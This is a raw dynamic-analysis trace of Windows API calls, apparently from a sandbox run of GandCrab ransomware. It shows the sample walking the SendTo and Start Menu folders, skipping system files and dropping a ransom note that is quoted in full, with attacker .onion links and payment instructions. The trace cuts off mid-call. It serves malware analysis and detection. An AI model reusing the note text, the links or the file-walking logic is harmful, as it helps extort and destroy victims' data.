lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" [0054.920] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk") returned 80 [0054.920] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.920] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.920] lstrcmpW (lpString1="Mail Recipient.MAPIMail", lpString2=".") returned 1 [0054.920] lstrcmpW (lpString1="Mail Recipient.MAPIMail", lpString2="..") returned 1 [0054.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Mail Recipient.MAPIMail" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" [0054.920] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail") returned 86 [0054.920] lstrcmpW (lpString1=".MAPIMail", lpString2=".sql") returned -1 [0054.920] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.920] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.920] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.921] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\\\GDCB-DECRYPT.txt") returned 80 [0054.921] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\sendto\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.922] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.922] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.922] CloseHandle (hObject=0x4fc) returned 1 [0054.923] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.923] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned 63 [0054.923] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*" [0054.923] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8870 [0054.923] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.923] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.923] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.923] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.923] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.923] lstrcmpW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".") returned 1 [0054.923] lstrcmpW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="..") returned 1 [0054.923] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Compressed (zipped) Folder.ZFSendToTarget" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" [0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.923] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned 104 [0054.923] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned 104 [0054.923] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.924] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.924] lstrcmpW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".") returned 1 [0054.924] lstrcmpW (lpString1="Desktop (create shortcut).DeskLink", lpString2="..") returned 1 [0054.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Desktop (create shortcut).DeskLink" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" [0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.924] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned 97 [0054.924] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned 97 [0054.924] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.924] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.924] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.924] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" [0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.924] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned 74 [0054.924] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned 74 [0054.924] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned 74 [0054.924] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned 74 [0054.924] lstrcmpiW (lpString1="Desktop.ini", lpString2="desktop.ini") returned 0 [0054.924] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.924] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.924] lstrcmpW (lpString1="Documents.mydocs", lpString2=".") returned 1 [0054.925] lstrcmpW (lpString1="Documents.mydocs", lpString2="..") returned 1 [0054.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Documents.mydocs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs" [0054.925] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.925] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs") returned 79 [0054.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs") returned 79 [0054.925] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.925] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.925] lstrcmpW (lpString1="Fax Recipient.lnk", lpString2=".") returned 1 [0054.925] lstrcmpW (lpString1="Fax Recipient.lnk", lpString2="..") returned 1 [0054.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Fax Recipient.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" [0054.925] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.925] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk") returned 80 [0054.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk") returned 80 [0054.925] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.925] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.925] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.925] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\GDCB-DECRYPT.txt" [0054.925] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.925] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\GDCB-DECRYPT.txt") returned 79 [0054.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\GDCB-DECRYPT.txt") returned 79 [0054.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\GDCB-DECRYPT.txt") returned 79 [0054.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\GDCB-DECRYPT.txt") returned 79 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.926] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.926] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.926] lstrcmpW (lpString1="Mail Recipient.MAPIMail", lpString2=".") returned 1 [0054.926] lstrcmpW (lpString1="Mail Recipient.MAPIMail", lpString2="..") returned 1 [0054.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Mail Recipient.MAPIMail" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" [0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.926] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail") returned 86 [0054.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail") returned 86 [0054.926] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.926] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.926] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0054.926] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0054.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" [0054.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\" [0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.927] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.927] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\") returned 67 [0054.927] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*" [0054.927] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8870 [0054.927] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.927] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.927] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.927] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.927] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.927] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.927] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.927] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" [0054.927] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned 78 [0054.927] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.927] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.927] lstrcmpW (lpString1="Programs", lpString2=".") returned 1 [0054.927] lstrcmpW (lpString1="Programs", lpString2="..") returned 1 [0054.927] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\", lpString2="Programs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs" [0054.927] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned 75 [0054.927] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.927] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.928] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\\\GDCB-DECRYPT.txt") returned 84 [0054.928] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.928] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.928] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.929] CloseHandle (hObject=0x4fc) returned 1 [0054.929] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.930] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\") returned 67 [0054.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*" [0054.930] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b85f0 [0054.930] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.930] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.930] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.930] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.930] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.930] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.930] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" [0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.930] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned 78 [0054.930] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned 78 [0054.930] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned 78 [0054.930] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned 78 [0054.930] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.930] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.930] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.930] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.930] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\GDCB-DECRYPT.txt" [0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.931] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\GDCB-DECRYPT.txt") returned 83 [0054.931] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\GDCB-DECRYPT.txt") returned 83 [0054.931] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\GDCB-DECRYPT.txt") returned 83 [0054.931] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\GDCB-DECRYPT.txt") returned 83 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 